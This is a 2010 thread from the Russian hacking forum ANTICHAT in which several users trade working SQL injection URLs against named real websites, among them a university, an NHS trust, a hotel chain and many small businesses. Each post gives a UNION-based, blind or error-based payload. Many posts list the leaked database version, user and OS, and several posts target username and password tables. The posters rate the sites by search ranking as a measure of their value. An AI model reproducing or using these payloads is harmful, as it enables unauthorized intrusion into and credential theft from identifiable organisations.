HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12451  
Старый 22.06.2010, 23:41
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
С нами: 8456812

Репутация: 55
По умолчанию

Код:
http://www.jofama.com/fashion/archived_folder.php?id=5-999.9+union+select+concat_ws(0x3a,user(),version(),database(),@@version_compile_os),2,3,4,5,6,7--
PR 4

вывод в исходном коде

version - 5.0.45-log

user - jofama_se@j1499@s113.loopia.se

database - jofama_se

os - freebsd6.2
 
Ответить с цитированием

  #12452  
Старый 22.06.2010, 23:44
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

uri.edu

http://www.crc.uri.edu/index.php?themeid=-3+union+select+1,2,group_concat(user,char(58),pass word),4,5,6,7,8+from+mysql.user

user() : root@winooski.crc.uri.edu

version() : 4.1.22

OS :

PR-7


тИЦ-230

PMA
 
Ответить с цитированием

  #12453  
Старый 23.06.2010, 00:15
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.tehimpex.kiev.ua/articleview.php?id=-87+union+select+1,2,3,4,concat_ws(0x3a,version(),d atabase(),user(),@@version_compile_os),6,7,8,9,10

Database Version: 5.0.45-log

Database name: tehimpex_db

User name: tehimpex_root@localhost

Os: freebsd 6.2
 
Ответить с цитированием

  #12454  
Старый 23.06.2010, 00:42
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
С нами: 8456812

Репутация: 55
По умолчанию

Код:
http://www.music-co.com.ar/nota-novedades.php?n=68-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9--
PR 3



version - 5.0.67-community

user - music_music@localhost

database - music_music

os - linux-gnu
 
Ответить с цитированием

  #12455  
Старый 23.06.2010, 00:58
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
С нами: 8943448

Репутация: 127
По умолчанию

http://baltasi.ru/text.php?id=-5+union+select+1,2,3,4,group_concat(0x0b,pass,0x3a 3a,name),6+from+2z__users--

Университет нефти и газа им.Губкина

http://life.gubkin.ru/polls/about.php?id=-5+union+select+1,2,3,4,group_concat(0x0b,name,0x3a 3a,pass,0x3a3a,fam),6+from+users--
 
Ответить с цитированием

  #12456  
Старый 23.06.2010, 11:09
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
С нами: 8456812

Репутация: 55
По умолчанию

Хостинг-Провайдер какой-то

Тиц 700

PR 9

Код:
http://ebscohost.com/cinahl/default.php?id=8-999.9+union+select+concat_ws(0x3a,user(),version(),database(),@@version_compile_os),2,3,4,5,6,7,8,9,10,11,12,13,14--
вывод в исходном коде.

version - 5.0.18-log

user - mktgadmin@localhost

database - epMarketing

os - suse-linux
 
Ответить с цитированием

  #12457  
Старый 23.06.2010, 13:50
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

http://www.starhotels.com/hotel/rosa_milano/starhotels_rosa.php?idalb=9+and+substring(version( ),1,1)=4

PR-6

тИЦ-240

 
Ответить с цитированием

  #12458  
Старый 23.06.2010, 14:22
~d0s~
Познающий
Регистрация: 17.04.2010
Сообщений: 75
С нами: 8456812

Репутация: 55
По умолчанию

Сборочка № 3

bromley.nhs.uk тиц 10 pr 4

Код:
http://www.bromley.nhs.uk/content.php?page=68-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
horturba.com тиц 10 pr 4

Код:
http://horturba.com/castellano/pagina.php?ID=21-999.9+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())--
gammaprojects.com тиц 20 pr 3

Код:
http://www.gammaprojects.com/print/index2.php?ID=11-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--


sonyakeogh.ie pr 3


Код:
http://www.sonyakeogh.ie/blank.php?id=22-999.9+union+select+concat_ws(0x3a,version(),user(),database()),2--
marketing-non-marchand.ch pr 2

Код:
http://www.marketing-non-marchand.ch/index2.php?id=1063-999.9+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
linnartz.nl pr 4

Код:
http://www.linnartz.nl/pagina.php?id=3-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3--
triaddiner.com pr 4

Код:
http://www.triaddiner.com/rec_view.php?recipeid=9-999.9+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--
reeniesrecipes.com pr 2

Код:
http://www.reeniesrecipes.com/view.php?recipe_id=165-999.9+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
insejec.com.br pr 3

Код:
http://www.insejec.com.br/estudos_info.php?content=85-999.9+union+select+1,2,concat_ws(0x3a,version(),user(),database())--
oecovita.com pr 2

Код:
http://www.oecovita.com/print.php?s=70-999.9+union+select+1,concat_ws(0x3a,version(),user(),database())--
atm2000.es pr 1

Код:
http://www.atm2000.es/seccion.php?idseccion=14-999.9+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12--
deciudades.com

Код:
http://www.deciudades.com/Contenido.php?sec=17-999.9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--
P.S. Если вывод не в середине огромными буквами,это не значит что его нет))).Он также может быть в титле и исходнике.

P.S.S Следущая сборочка либо завтра,либо через 3 недели в связи с моим отъездом.
 
Ответить с цитированием

  #12459  
Старый 23.06.2010, 15:11
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

http://www.meritalia.it/scheda.php?cat=2&id=97+and+substring(version(),1,1 )=5+--+

PR-4

тИЦ-30

 
Ответить с цитированием

  #12460  
Старый 23.06.2010, 15:28
k2b1~
Новичок
Регистрация: 17.06.2010
Сообщений: 0
С нами: 8369816

Репутация: 0
По умолчанию

Цитата:
Сообщение от Konqi  
http://www.meritalia.it/scheda.php?cat=2&id=97+and+substring(version(),1,1 )=5+--+

PR-4

тИЦ-30


Цитата:
Сообщение от None  
http://www.meritalia.it/scheda.php?cat=2&id=(select*from(select+name_const (version(),1),name_const(version(),1))a)
Duplicate column name '5.0.16-standard'
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.